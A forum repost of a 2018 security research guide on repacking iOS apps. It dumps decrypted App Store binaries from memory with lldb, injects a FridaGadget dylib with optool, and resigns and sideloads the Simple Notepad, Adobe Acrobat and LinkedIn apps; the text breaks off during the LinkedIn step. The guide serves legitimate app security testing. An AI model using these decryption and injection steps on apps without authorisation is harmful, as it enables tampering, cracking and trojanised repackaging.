-
Posts
18740 -
Joined
-
Last visited
-
Days Won
711
Everything posted by Nytro
-
A Guide to Repacking iOS Applications Amar Menezes, 23 July 2018 Introduction Jailbreaking iOS getting harder with every new version released, repacking and resigning iOS applications to be sideloaded on non-jailbroken iOS device has been a subject that has generated significant interest from security researchers in recent years. Sideloading applications is restricted on non-jailbroken devices due to several codesigning enforcements implemented in the iOS kernel. This is done in order to prevent malicious actors from distributing and running untrusted code on unsuspecting user's devices. These codesigning enforcements in conjunction with Apple's AppStore application review process has done a great deal in preventing malicious applications being distributed to iOS users. Whilst these measures make it harder for attackers to target AppStore users, they also make it harder for security researchers to independently evaluate the security of iOS applications. There are several reasons why security researchers would want to sideload applications. The two most common reasons are: To avoid the need to bypass several binary protections that application developers implement to prevent reverse engineering. The lack of a public jailbreak on certain versions of iOS. This guide aims to educate security researches on the various challenges on repacking and resigning iOS applications and to provide advice on how to overcome them. Existing Work There have been some notable research and blog posts that address the problem of repacking and resigning applications to be deployed on non-jailbroken devices. However, the referenced research either lacked sufficient detail or only demonstrate trivial examples of repacking and resigning iOS applications. These limitations lead to the creation of this guide, which addresses the repackaging and resigning of applications with varying build configurations on non-jailbroken devices. In particular, the repackaging and resigning of the following build configurations will be addressed: Applications downloaded from the AppStore Applications that contain Frameworks and/or dylibs Applications that use App Extensions and Advanced App Capabilities Applications that bundle WatchKit applications Methodology Repacking iOS applications can be broadly broken down into six steps: Decrypting MachO binaries bundled within the application IPA Patching the application with custom code/libraries Generating a Provisioning Profile for the target iOS device that the repacked application is to be deployed Updating application metadata to match the Provisioning Profile Resigning the application's MachO binaries Archiving the bundle and sideloading onto the target iOS device This methodology will be used throughout this guide to demonstrate the repacking and resigning of example iOS applications. Getting Started Building a workspace In order to get started a researcher would need to setup a workspace with appropriate tooling. A jailbroken iOS device to decrypt applications from the AppStore and a non-jailbroken iOS device to sideload the repackaged application. For the purpose of this guide a iPod Touch 6th gen running iOS 10 that was jailbroken using Saigon beta2 and a non-jailbroken iPhone 6s running iOS 11. It should be noted that both the jailbroken and non-jailbroken device are 64bit devices. MacOS High Sierra MacOS is required to perform a number of operations required to repack an iOS application. This includes tools like Xcode, otool and codesign. At the time of writing, the author was not aware of FOSS alternatives that would reliably achieve the same operations required to repack iOS applications. However, should FOSS tools be available in the future, this guide will be updated to use them. Xcode 9+ This is used to generate Provisioning Profiles with the right entitlements that are required as part of the repacking process. optool This is an open source tool that allows patching of MachO binaries. For the purpose of this guide, optool is used to add load commands to the MachO binary. FridaGadget In order to demonstrate patching an application with custom code, this guide makes uses Frida server bundled as a shared library commonly referred to as FridaGadget. When the patched application is spawned, it would load the dylib that launches Frida server. One can then connect to this server and being instrumenting the application. idevice* utilities To install repacked applications onto the target device, one of the several options available is idevice* utilities. This guide uses ideviceinstaller, ideviceimagemounter and idevicedebug to install and run repacked applications. The utilities ideviceimagemounter and idevicedebug are only required to spawn an application using debugserver. Repacking Applications 1. Repacking App Store Binaries Application Simple Notepad URL https://itunes.apple.com/us/app/simple-notepad-best-notebook-text-editor-pad-to-write/id1064117835?mt=8 Version 1.1 IPA SHA1 0e7f8f53618372c6e3a667ead6f37d7afc5ab057 Downloading iOS application bundles (IPAs) from the AppStore can be accomplished using iTunes 12.6. It should be noted that newer versions of iTunes do not support downloading applications from the AppStore. One can download iTunes 12.6 from the following link. For the first repacking demonstration, Simple Notepad, a trivial note taking iOS application is used to get the reader familiar with six steps to repacking applications briefly described in Methodology section. Unpacking the Simple Notepad IPA using unzip or a similar utility reveals a single MachO executable binary named "Plain Notes". The following snippet shows the layout of MachO binaries within the Simple Notepad application bundle: Payload/ Plain Notes.app/ Plain Notes 1.1 Decrypting MachO Binaries There are several automated solutions created to decrypt AppStore binaries such as Clutch, dumpdecrypted or dump-ios. However, some of these automated solutions struggle to cope with applications that implement binary protections such as debugger detection and/or hooking detection. Which is why it is sometimes necessary to decrypt binaries manually. An excellent guide on decrypting AppStore binaries can be found at the following link. The first step to decrypting the Simple Notepad is to setup debugserver to intercept and attach to the application when it is launched. The following code snippet demonstrates setting up debugserver to attach to the Simple Notepad application: amarekano-ipod:~/amarekano root# ./debugserver *:6666 -waitfor "Plain Notes" debugserver-@(#)PROGRAM:debugserver PROJECT:debugserver-360.0.26.1 for arm64. Waiting to attach to process Plain Notes... Listening to port 6666 for a connection from *... Once debugserver has been setup and has intercepted the launch of Simple Notepad, connect to the debugserver instance using lldb. To locate the decrypted image in memory one would need to know the size of the image and the image offset. Offsets can be gathered from inspecting the load commands of the application binary using otool: Amars-Mac:Plain Notes.app amarekano$ otool -l Plain\ Notes | grep -A4 LC_ENCRYPTION_INFO_64 cmd LC_ENCRYPTION_INFO_64 cmdsize 24 cryptoff 16384 cryptsize 1146880 cryptid 1 Due to system wide ASLR enforced on iOS, it is necessary to locate the base address of the image in memory and then compute the offset from that address. This can be done once lldb is connected to debugserver and is attached to the process: (lldb) image list "Plain Notes" [ 0] BA5E5051-D100-3B60-B5C8-181CAC0BB3EE 0x000000010004c000 /var/containers/Bundle/Application/2FD88AFF-6841-44D2-878D-8BA1698F3343/Plain Notes.app/Plain Notes (0x000000010004c000) The value 0x000000010004c000 is the base address of the binary image in memory. Using this value, we can now dump the decrypted image. The lldb command to dump the binary is shown below: (lldb) memory read --force --outfile ./decrypted.bin --binary --count 1146880 0x000000010004c000+16384 1146880 bytes written to './decrypted.bin', The count parameter is the cryptsize value and the offset to the decrypted section is the base address + cryptoffset. Once we've dumped the decrypted memory region, we then need to splice this into the original AppStore binary. iOS applications downloaded using iTunes, typically contain multi arch FAT binaries. In order to patch the binary correctly, one would first have to locate the offset for the arm64 architecture using otool: Amars-Mac:Plain Notes.app amarekano$ otool -fh Plain\ Notes | grep -A5 architecture\ 1 architecture 1 cputype 16777228 cpusubtype 0 capabilities 0x0 offset 1441792 size 1517824 Using the offset of the encrypted section from the encryption information and the offset of the arm64 arch within the FAT binary, use dd to splice the decrypted image into the original binary. The seek value shown below is the sum of the two offset values i.e cryptoff + offset in the FAT binary: Amars-Mac:Plain Notes.app amarekano$ dd seek=1458176 bs=1 conv=notrunc if=./decrypted.bin of=Plain\ Notes 1146880+0 records in 1146880+0 records out 1146880 bytes transferred in 4.978344 secs (230374 bytes/sec) Once patched, set the cryptid value to 0, this can be done by loading the patched binary into MachO-View, selecting the right architecture and Load command and updating the value as shown in the following screenshot: Once updated, save the changes made to the binary image and copy over the patched binary into the unpacked application IPA. 1.2 Patching the Application Copy the FridaGadget.dylib and FridaGadget.config to the unzipped IPA, within the Payload/Plain Notes.app/ directory. The unpacked bundle with the decrypted application binary and FridaGadget should look as follows: Payload/ Plain Notes/ Plain Notes FridaGadget.dylib FridaGadget.config The contents of the FridaGadget.config file are listed below: Amars-Mac:Plain Notes.app amarekano$ cat FridaGadget.config { "interaction": { "type": "listen", "address": "0.0.0.0", "port": 8080, "on_load": "wait" } The values of address and port can be configured to any interface and port accessible on the target device. This will be the interface and port the Frida server will be listening on when spawned via the repacked application. Add a load command to the application binary using optool. This load command instructs the application binary to load the FridaGadget.dylib into the application's process space. Amars-Mac:sandbox amarekano$ optool install -c load -p "@executable_path/FridaGadget.dylib" -t Payload/Plain\ Notes.app/Plain\ Notes Found FAT Header Found thin header... Found thin header... Inserting a LC_LOAD_DYLIB command for architecture: arm Successfully inserted a LC_LOAD_DYLIB command for arm Inserting a LC_LOAD_DYLIB command for architecture: arm64 Successfully inserted a LC_LOAD_DYLIB command for arm64 Writing executable to Payload/Plain Notes.app/Plain Notes... 1.3 Generating a Provisioning Profile Having patched the application binary to load the custom dylib i.e. FridaGadget. Begin the process of signing the application binaries to be sideloaded on our target non-jailbroken device. The first step in that process is to generate a provisioning profile for the target device. This is achieved by created an empty Xcode project and that targets the non-jailbroken device. Before building this project, one would typically require to add an AppleID to Xcode which would then generate and manage signing certificates for the application. The AppleID could be one associated with a free developer account or one that is part of the Apple Developer Program. Setting up an an AppleID on Xcode can be done via the menu; Preferences > Accounts. The signing cert used is shown in the screenshot below: Note: If when building the empty project, you happen to deploy it to the device, then make sure you delete it before sideloading the repackaged application. The next step is to extract the provisioning profile from this empty project and reuse it to repack our target application. This provisioning profile is located under: ~/Library/Developer/Xcode/DerivedData/repackdemo-<a random string>/Build/Products/Debug-iphoneos/repackdemo.app/embedded.mobileprovision Copy this file to the Payload/Plain Notes.app directory of the unpacked application as shown in the directory layout below: Payload/ Plain Notes/ Plain Notes FridaGadget.dylib FridaGadget.config embedded.mobileprovision Extract the entitlements from the generated provisioning profile using the following commands: Amars-Mac:repackdemo.app amarekano$ security cms -D -i embedded.mobileprovision > profile.plist Amars-Mac:repackdemo.app amarekano$ /usr/libexec/PlistBuddy -x -c 'Print :Entitlements' profile.plist > entitlements.plist Amars-Mac:repackdemo.app amarekano$ cat entitlements.plist <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>application-identifier</key> <string>6M9TEGX89M.com.example.amarekano.repackdemo</string> <key>com.apple.developer.team-identifier</key> <string>6M9TEGX89M</string> <key>get-task-allow</key> <true/> <key>keychain-access-groups</key> <array> <string>6M9TEGX89M.*</string> </array> </dict> </plist> The entitlements.plist file contains the entitlements required by the application binary to work on a non-jailbroken iOS environment. These entitlements.plist will be used at a later stage in the resigning process to sign the application binary. 1.4 Updating Application Metadata The next step is to update the Bundle Identifier of the Simple Notepad app to the bundle identifier of the Provisioning Profile generated in the previous section. In this example the bundle identifier within the Provisioning Profile is "com.example.amarekano.repackdemo". Update the Info.plist file within the Payload/Plain Notes.app directory of the unpacked application with the following command: Amars-Mac:sandbox amarekano$ /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier com.example.amarekano.repackdemo" Payload/Plain\ Notes.app/Info.plist 1.5 Resigning MachO Binaries To generate a list of valid codesigning identities on a MacOS system, run the following command: Amars-Mac:~ amarekano$ security find-identity -p codesigning -v 1) 49808436B649808449808436B6651498084336B6 "iPhone Developer: m******" 2) F4F6830FB32AAF4F6830E2C5F4F68309F4FF6830 "Mac Developer: m*******" 3) 41A1537676F3F41A153767FCC41A153767CC3767 "iPhone Developer: A******" 4) 1E309C6B45C0E309C69E10E309C670E309C69C60 "iPhone Developer: a*********" 4 valid identities found Use the signing identity that was used to generate the Provisioning Profile to resign the various MachO binaries. Begin by signing the FridaGadget.dylib: Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" Payload/Plain\ Notes.app/FridaGadget.dylib Payload/Plain Notes.app/FridaGadget.dylib: replacing existing signature Once the dylib has been signed then sign the application binary with the entitlements generated in Section 1.4. Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m*****************" --entitlements entitlements.plist Payload/Plain\ Notes.app/Plain\ Notes Payload/Plain Notes.app/Plain Notes: replacing existing signature 1.6 Archive and Install Once the binaries have been resigned, repack the Payload directory to an IPA using the zip utility Amars-Mac:sandbox amarekano$ zip -qr Simple_Notes_resigned.ipa Payload/ The repacked IPA is then installed onto the target device using ideviceinstaller, which is part of the idevice utilities suite: Amars-Mac:sandbox amarekano$ ideviceinstaller -i Simple_Notes_resigned.ipa WARNING: could not locate iTunesMetadata.plist in archive! Copying 'Simple_Notes_resigned.ipa' to device... DONE. Installing 'com.example.amarekano.repackdemo' Install: CreatingStagingDirectory (5%) Install: ExtractingPackage (15%) Install: InspectingPackage (20%) Install: TakingInstallLock (20%) Install: PreflightingApplication (30%) Install: InstallingEmbeddedProfile (30%) Install: VerifyingApplication (40%) Install: CreatingContainer (50%) Install: InstallingApplication (60%) Install: PostflightingApplication (70%) Install: SandboxingApplication (80%) Install: GeneratingApplicationMap (90%) Complete 1.7 Running the Repacked Application The DeveloperDiskImage for the version of iOS on the target device needs to be mounted to launch applications using debugserver. The Developer Disk images for various versions of iOS are located under the following directory on MacOS: /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/DeviceSupport The two files of interest are the Disk image itself and its corresponding signature. DeveloperDiskImage.dmg DeveloperDiskImage.dmg.signature Using ideviceimagemounter, mount the disk images onto the target device as shown below: Amars-Mac:sandbox amarekano$ ideviceimagemounter DeveloperDiskImage.dmg DeveloperDiskImage.dmg.signature Uploading DeveloperDiskImage.dmg done. Mounting... Done. Status: Complete Once successfully mounted, launch the application in debug mode using idevicedebug: Amars-Mac:sandbox amarekano$ idevicedebug -d run com.example.amarekano.repackdemo The reason the application needs to run in debug mode is so that the main application thread is suspended at launch, giving Frida server time to spin up and listen on a pre-configured port. Once running in debug mode, connect to the Frida server and resume the application thread using the following commands: Amars-Mac:sandbox amarekano$ frida -H 192.168.1.196:8080 -n Gadget ____ / _ | Frida 10.7.7 - A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about 'object' . . . . exit/quit -> Exit . . . . . . . . More info at http://www.frida.re/docs/home/ [Remote::Gadget]-> %resume [Remote::Gadget]-> String(ObjC.classes.NSBundle.mainBundle().objectForInfoDictionaryKey_('CFBundleName')) "Plain Notes" [Remote::Gadget]-> String(ObjC.classes.NSBundle.mainBundle().objectForInfoDictionaryKey_('CFBundleIdentifier')) "com.example.amarekano.repackdemo" [Remote::Gadget]-> Here the target iOS device has an IP address of 192.168.1.196 and Frida server is listening on port 8080. Once connected to the Frida server, one can begin instrumenting the application using Frida. 2. Repacking Applications that use Frameworks Application Adobe Acrobat URL https://itunes.apple.com/app/adobe-reader/id469337564?mt=8 Version 18.03.31 IPA SHA1 1195a40f3f140b3c0ed57ae88cfbc017790ddba6 When repacking applications that use frameworks, one needs to bear in mind that it requires decrypting and patching the framework binaries that are also included in the application IPA. To demonstrate this, the Adobe Acrobat's iOS application is used as an example. Unzipping the Acrobat IPA, reveals the following distribution of MachO binaries: Payload/ Adobe Acrobat.app/ Frameworks/ AdobeCreativeSDKCore.framework/ AdobeCreativeSDKCore AdobeCreativeSDKUtility.framework/ AdobeCreativeSDKUtility AdobeCreativeSDKGoogleLogin.framework/ AdobeCreativeSDKGoogleLogin Adobe Acrobat The Frameworks used by the application are located under the Frameworks/ directory shown above. Some applications will also bundle dylibs which would also be located under the Frameworks/ directory. This particular version of Adobe Acrobat application did not include any dylibs. 2.1 Decrypt MachO Binaries Decrypting applications that contain frameworks requires decrypting the main application binary as well the individual frameworks before they can be repacked. This could be done manually by attaching a debugger and dumping the decrypted image from memory. Alternatively, automated solutions such as Clutch2 can be used to generate decrypted binaries. The following snippet shows the encryption info of the application binary and demonstrates the dumping of the decrypted application binary from memory using lldb: Amars-Mac:Adobe Acrobat.app amarekano$ otool -l Adobe\ Acrobat | grep -A4 LC_ENCRYPTION_INFO_64 cmd LC_ENCRYPTION_INFO_64 cmdsize 24 cryptoff 16384 cryptsize 16465920 cryptid 1 .... (lldb) image list "Adobe Acrobat" [ 0] 397432D5-9186-37B8-9BA6-181F633D9C1F 0x000000010009c000 /var/containers/Bundle/Application/15E6A273-A549-4317-99D3-34B8A6623B5E/Adobe Acrobat.app/Adobe Acrobat (0x000000010009c000) (lldb) memory read --force --outfile ./decbins/acrobat.bin --binary --count 16465920 0x000000010009c000+16384 16465920 bytes written to './decbins/acrobat.bin' Similarly, one would have to decrypt each of the three frameworks bundled with the Adobe Acrobat application. The following snippet shows the encryption info of the AdobeCreativeSDKCore framework binary and demonstrates the dumping of the decrypted framework binary from memory using lldb. Amars-Mac:AdobeCreativeSDKCore.framework amarekano$ otool -l AdobeCreativeSDKCore | grep -A4 LC_ENCRYPTION_INFO_64 cmd LC_ENCRYPTION_INFO_64 cmdsize 24 cryptoff 16384 cryptsize 770048 cryptid 1 .... (lldb) image list AdobeCreativeSDKCore [ 0] 3FA3C800-9B6A-3117-A193-36C775B81A43 0x00000001015ac000 /private/var/containers/Bundle/Application/15E6A273-A549-4317-99D3-34B8A6623B5E/Adobe Acrobat.app/Frameworks/AdobeCreativeSDKCore.framework/AdobeCreativeSDKCore (0x00000001015ac000) (lldb) memory read --force --outfile ./decbins/AdobeCreativeSDKCore.bin --binary --count 770048 0x00000001015ac000+16384 770048 bytes written to './decbins/AdobeCreativeSDKCore.bin' Once the application binary and framework binaries have been decrypted, splice the decrypted binaries into the original binaries and then use MachO View to set the cryptid flag to 0 for each binary. 2.2 Patching the Application To patch the application, copy over the FridaGadget.dylib and FridaGadget.config file to the unpacked application bundle under the Payload/Adobe Acrobat.app/ directory. Once copied, use optool to add a load command to the application binary as shown below: Amars-Mac:sandbox amarekano$ optool install -c load -p "@executable_path/FridaGadget.dylib" -t Payload/Adobe\ Acrobat.app/Adobe\ Acrobat Found FAT Header Found thin header... Found thin header... Inserting a LC_LOAD_DYLIB command for architecture: arm Successfully inserted a LC_LOAD_DYLIB command for arm Inserting a LC_LOAD_DYLIB command for architecture: arm64 Successfully inserted a LC_LOAD_DYLIB command for arm64 Writing executable to Payload/Adobe Acrobat.app/Adobe Acrobat... 2.3 Updating Application Metadata Update the bundle identifier within the application's Info.plist to match that of the generated provisioning profile. Generating Provisioning Profiles is discussed in Section 1.3 Amars-Mac:sandbox amarekano$ /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier com.example.amarekano.repackdemo" Payload/Adobe\ Acrobat.app/Info.plist Copy the provisioning profile for the target device to the unpacked application bundle under the Payload/Adobe Acrobat.app/ directory. 2.4 Resigning MachO Binaries Begin by removing the existing the code signatures by deleting the _CodeSignature directories within the extracted "Adobe Acrobat.app" and under the individual framework directories. The folder layout is shown as follows: Payload/ Adobe Acrobat.app/ _CodeSignature Frameworks/ AdobeCreativeSDKCore.framework/ _CodeSignature AdobeCreativeSDKUtility.framework/ _CodeSignature AdobeCreativeSDKGoogleLogin.framework/ _CodeSignature Once these have been deleted, sign the binaries. To do so, start by first signing the FridaGadget.dylib: Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" Payload/Adobe\ Acrobat.app/FridaGadget.dylib Payload/Adobe Acrobat.app/FridaGadget.dylib: replacing existing signature Followed by the Framework binaries: Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" Payload/Adobe\ Acrobat.app/Frameworks/AdobeCreativeSDKCore.framework/AdobeCreativeSDKCore Payload/Adobe Acrobat.app/Frameworks/AdobeCreativeSDKCore.framework/AdobeCreativeSDKCore: replacing existing signature Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" Payload/Adobe\ Acrobat.app/Frameworks/AdobeCreativeSDKGoogleLogin.framework/AdobeCreativeSDKGoogleLogin Payload/Adobe Acrobat.app/Frameworks/AdobeCreativeSDKGoogleLogin.framework/AdobeCreativeSDKGoogleLogin: replacing existing signature Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" Payload/Adobe\ Acrobat.app/Frameworks/AdobeCreativeSDKUtility.framework/AdobeCreativeSDKUtility Payload/Adobe Acrobat.app/Frameworks/AdobeCreativeSDKUtility.framework/AdobeCreativeSDKUtility: replacing existing signature And finally the application binary with the right entitlements. Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" --entitlements entitlements.plist Payload/Adobe\ Acrobat.app/Adobe\ Acrobat Adobe Acrobat: replacing existing signature Generating entitlements from a provisioning profile is discussed in Section 1.3. 2.5 Archive and Install Once all the MachO binaries have been resigned, simply archive it back to an IPA and then sideload it on the target device: Amars-Mac:sandbox amarekano$ zip -qr Adobe_resigned.ipa Payload/ To install the application onto the target device, we use ideviceinstaller as shown below: Amars-Mac:sandbox amarekano$ ideviceinstaller -i Adobe_resigned.ipa WARNING: could not locate iTunesMetadata.plist in archive! Copying 'Adobe_resigned.ipa' to device... DONE. Installing 'com.example.amarekano.repackdemo' Install: CreatingStagingDirectory (5%) ...<truncated for brevity>... Install: GeneratingApplicationMap (90%) Install: Complete 2.6 Running the Repacked Application Launch the application via debug mode using idevicedebug Amars-Mac:sandbox amarekano$ idevicedebug -d run com.example.amarekano.repackdemo Once the application is running in debug mode, connect to the running Frida server Amars-Mac:sandbox amarekano$ frida -H 192.168.1.116:8080 -n Gadget ____ / _ | Frida 10.7.7 - A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about 'object' . . . . exit/quit -> Exit . . . . . . . . More info at http://www.frida.re/docs/home/ [Remote::Gadget]-> %resume [Remote::Gadget]-> String(ObjC.classes.NSBundle.mainBundle().objectForInfoDictionaryKey_('CFBundleName')) "Adobe Acrobat" [Remote::Gadget]-> String(ObjC.classes.NSBundle.mainBundle().objectForInfoDictionaryKey_('CFBundleIdentifier')) "com.example.amarekano.repackdemo" [Remote::Gadget]-> 3. Repacking Applications that use App Extensions Application LinkedIn URL https://itunes.apple.com/gb/app/linkedin/id288429040?mt=8 Version 2018.04.05 IPA SHA1 275ca4c75a424002d11a876fc0176a04b6f74f19 Some iOS applications utilise App Extensions for Inter Process Communication (IPC) offered on iOS. An example of which is the Share Extension that allows sharing content across applications. These extensions are typically bundled with the IPA as separate executables. The following snippet shows the layout of various MachO binaries within the LinkedIn application bundle: Payload/ LinkedIn.app/ Frameworks/ lmdb.framework/ lmdb ... libswiftAVFoundation.dylib ... Plugins/ IntentsExtension.appex/ IntentsExtension IntentsUIExtension.appex/ IntentsUIExtension ... LinkedIn App Extensions are located under the Plugins/ directory as show above. Each App Extension has the bundle extension .appex. 3.1 Decrypting MachO Binaries When dealing with applications that bundle App Extensions, in addition to decrypting the application binary and frameworks, one would also have to decrypt binary images of App Extensions. In order to decrypt App Extensions, first setup debugserver to intercept and attach to a launched App Extension. In the snippet below, debugserver is setup to at attach to IntentsExtension: amarekano-ipod:~/amarekano root# ./debugserver *:6666 -waitfor IntentsExtension & Once debugserver is setup, launch the App Extension. This can be performed manually as shown below: amarekano-ipod:~/amarekano root# /var/containers/Bundle/Application/AC8C5212-67D0-41AB-A01A-EEAF985AB824/LinkedIn.app/PlugIns/IntentsExtension.appex/IntentsExtension Once debugserver attaches, connect using lldb and dump the decrypted image from memory. (lldb) image list IntentsExtension [ 0] 2F48A100-110F-33F9-A376-B0475C46037A 0x00000001000f0000 /var/containers/Bundle/Application/AC8C5212-67D0-41AB-A01A-EEAF985AB824/LinkedIn.app/PlugIns/IntentsExtension.appex/IntentsExtension (0x00000001000f0000) (lldb) memory read --force --outfile ./decbins/intentsextension.bin --binary --count 114688 0x00000001000f0000+16384 114688 bytes written to './decbins/intentsextension.bin' (lldb) exit Once decrypted, splice the dumped binary into the original App Extension binary and set the cryptid flag to 0 in the same way one would do when decrypting other MachO binaries. 3.2 Patching the Application Patching the application binary to load the FridaGadget follows the same process as demonstrated in previous examples. Amars-Mac:sandbox amarekano$ optool install -c load -p "@executable_path/FridaGadget.dylib" -t Payload/LinkedIn.app/LinkedIn Found FAT Header Found thin header... Found thin header... Inserting a LC_LOAD_DYLIB command for architecture: arm Successfully inserted a LC_LOAD_DYLIB command for arm Inserting a LC_LOAD_DYLIB command for architecture: arm64 Successfully inserted a LC_LOAD_DYLIB command for arm64 Writing executable to Payload/LinkedIn.app/LinkedIn... 3.3 Generating a Provisioning Profile Generally, applications that use App Extensions almost always require Advanced App Capabilities. These capabilities typically allow application developers to utilise several Apple technologies such as Siri, Apple Pay, iCloud etc. The LinkedIn application for example uses the iCloud and Siri capabilities. This was revealed by examining the application entitlements: Amars-Mac:sandbox amarekano$ codesign -d --entitlements :- "Payload/LinkedIn.app/" Executable=/Users/amarekano/Desktop/sandbox/Payload/LinkedIn.app/LinkedIn <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> ... <truncated for brevity> ... <key>application-identifier</key> <string>8AXPVS6C36.com.linkedin.LinkedIn</string> ...<truncated for brevity>... <key>com.apple.developer.icloud-services</key> <array> <string>CloudDocuments</string> </array> <key>com.apple.developer.siri</key> <true/> ... <truncated for brevity>,,, </dict> Advanced App Capabilities are only available to iOS developers using a paid developer account. Therefore, a suitable provisioning profile would have to be created, using a paid developer account, in order to use these app capabilities in the repacked application. This can be achieved by creating a dummy Xcode project and specify a paid developer signing cert as shown in the screenshot below: Once a project has been created, capabilities required by the application can be enabled under the Capabilities tab. The following screenshot shows the required capabilities enabled in a dummy Xcode project. Building this dummy Xcode project would generate a valid Provisioning profile with the right entitlements needed to repack the LinkedIn application. Extracting these entitlements from the generated provisioning profile is shown below: Amars-Mac:sandbox amarekano$ security cms -D -i embedded.mobileprovision > profile.plist Amars-Mac:sandbox amarekano$ /usr/libexec/PlistBuddy -x -c 'Print :Entitlements' profile.plist > entitlements.plist Amars-Mac:sandbox amarekano$ cat entitlements.plist <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>application-identifier</key> <string>MS4K289Y4F.com.example.amarekano.advrepackdemo</string> ...<truncated for brevity>... <key>com.apple.developer.icloud-services</key> <string>*</string> <key>com.apple.developer.siri</key> <true/> <key>com.apple.developer.team-identifier</key> <string>MS4K289Y4F</string> ... <truncated for brevity>... <key>get-task-allow</key> <true/> <key>keychain-access-groups</key> <array> <string>MS4K289Y4F.*</string> </array> </dict> </plist> 3.4 Updating Application Metadata On successful generation of the Provisioning profile, add the profile to the application bundle and update the various Info.plist files for the application and the application extensions as shown below: Amars-Mac:sandbox amarekano$ /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier com.example.amarekano.advrepackdemo" Payload/LinkedIn.app/Info.plist Amars-Mac:sandbox amarekano$ /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier com.example.amarekano.advrepackdemo.IntentsExtension" Payload/LinkedIn.app/PlugIns/IntentsExtension.appex/Info.plist Amars-Mac:sandbox amarekano$ /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier com.example.amarekano.advrepackdemo.IntentsUIExtension" Payload/LinkedIn.app/PlugIns/IntentsUIExtension.appex/Info.plist Amars-Mac:sandbox amarekano$ /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier com.example.amarekano.advrepackdemo.MessagingNotificationContentExtension" Payload/LinkedIn.app/PlugIns/MessagingNotificationContentExtension.appex/Info.plist Amars-Mac:sandbox amarekano$ /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier com.example.amarekano.advrepackdemo.NewsModuleExtension" Payload/LinkedIn.app/PlugIns/NewsModuleExtension.appex/Info.plist Amars-Mac:sandbox amarekano$ /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier com.example.amarekano.advrepackdemo.ShareExtension" Payload/LinkedIn.app/PlugIns/ShareExtension.appex/Info.plist Amars-Mac:sandbox amarekano$ /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier com.example.amarekano.advrepackdemo.WVMPTodayExtension" Payload/LinkedIn.app/PlugIns/WVMPTodayExtension.appex/Info.plist Amars-Mac:sandbox amarekano$ Do note that generating a Provisioning Profile with entitlements to use the Advanced App Capabilities, requires a unique bundle identifier. In this instance the bundle identifier used was "com.example.amarekano.advrepackdemo". 3.5 Resigning MachO Binaries When resigning application binaries, the order in which binaries are resigned is important when repacking applications with multiple executable binaries. Start by resigning the App Extensions as shown below: Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" Payload/LinkedIn.app/PlugIns/IntentsExtension.appex/IntentsExtension Payload/LinkedIn.app/PlugIns/IntentsExtension.appex/IntentsExtension: replacing existing signature Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" Payload/LinkedIn.app/PlugIns/IntentsUIExtension.appex/IntentsUIExtension Payload/LinkedIn.app/PlugIns/IntentsUIExtension.appex/IntentsUIExtension: replacing existing signature ... Followed by resigining the Frameworks and dylibs: Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" Payload/LinkedIn.app/Frameworks/lmdb.framework/lmdb Payload/LinkedIn.app/Frameworks/lmdb.framework/lmdb: replacing existing signature ... Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" Payload/LinkedIn.app/Frameworks/libswiftAVFoundation.dylib Payload/LinkedIn.app/Frameworks/libswiftAVFoundation.dylib: replacing existing signature ... Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" Payload/LinkedIn.app/FridaGadget.dylib Payload/LinkedIn.app/FridaGadget.dylib: replacing existing signature Finally resign the LinkedIn application binary with the entitlements generated in Section 3.3 Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" --entitlements entitlements.plist Payload/LinkedIn.app/LinkedIn Payload/LinkedIn.app/LinkedIn: replacing existing signature 3.6 Archive and Install Once the application has been resigned, archive the Payload directory into an IPA and install the repacked IPA onto the target device. Amars-Mac:sandbox amarekano$ zip -qr LinkedIn_resigned.ipa Payload/ Amars-Mac:sandbox amarekano$ ideviceinstaller -i LinkedIn_resigned.ipa WARNING: could not locate iTunesMetadata.plist in archive! Copying 'LinkedIn_resigned.ipa' to device... DONE. Installing 'com.example.amarekano.advrepackdemo' Install: CreatingStagingDirectory (5%) ...<truncated for brevity>... Install: GeneratingApplicationMap (90%) Install: Complete 3.7 Running the Repacked Application Once the repacked application has been successfully installed on the target device, launch it using idevicedebug and then connect to the spawned Frida server. Amars-Mac:sandbox amarekano$ idevicedebug -d run com.example.amarekano.advrepackdemo & Amars-Mac:sandbox amarekano$ frida -H 192.168.1.91:8080 -n Gadget ____ / _ | Frida 10.7.7 - A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about 'object' . . . . 